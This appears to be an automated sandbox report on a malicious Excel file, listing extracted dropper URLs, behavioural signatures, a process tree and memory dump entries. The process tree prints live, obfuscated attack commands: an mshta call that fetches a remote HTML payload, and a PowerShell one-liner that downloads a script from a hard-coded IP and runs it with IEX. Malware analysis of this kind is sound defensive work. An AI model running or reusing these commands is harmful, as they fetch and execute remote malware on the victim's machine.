Analysis
- max time kernel
4265049s - max time network
128s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
17/01/2022, 22:55
General
- Target a1a5f1d58cb7176ce30a3e4182332173.xls
- Size 128KB
- Sample220117-2v5epseack
- SHA256 f93414304904cf04ee75d5594bbd6b17a29aeea92d9e719a3e53ae25e077c08a
Malware Config
Extracted
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hta
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hta.dropper
http://0xb907d607/cc.html
Extracted
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ps1
-
ps1.dropper
http://185.7.214.7/PP91.PNG
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 14 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a1a5f1d58cb7176ce30a3e4182332173.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2680 -s 17204⤵
- Program crash
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-
-
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C:\Windows\system32\MusNotification.exeC:\Windows\system32\MusNotification.exe1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 420 -p 2680 -ip 26801⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1200-161-0x0000017B86310000-0x0000017B86312000-memory.dmp
memory/1200-160-0x0000017B86310000-0x0000017B86312000-memory.dmp
memory/1200-159-0x0000017B86310000-0x0000017B86312000-memory.dmp
memory/2680-152-0x000002EB91858000-0x000002EB91860000-memory.dmp
memory/3320-146-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-150-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-139-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-140-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-141-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-142-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-143-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-144-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-145-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-130-0x00007FFE6E590000-0x00007FFE6E5A0000-memory.dmp
memory/3320-147-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-148-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-137-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-138-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-136-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-135-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-153-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-154-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-155-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-157-0x000001F609560000-0x000001F609564000-memory.dmp
memory/3320-156-0x000001F609560000-0x000001F609562000-memory.dmp
memory/3320-134-0x00007FFE6E590000-0x00007FFE6E5A0000-memory.dmp
memory/3320-133-0x00007FFE6E590000-0x00007FFE6E5A0000-memory.dmp
memory/3320-132-0x00007FFE6E590000-0x00007FFE6E5A0000-memory.dmp
memory/3320-131-0x00007FFE6E590000-0x00007FFE6E5A0000-memory.dmp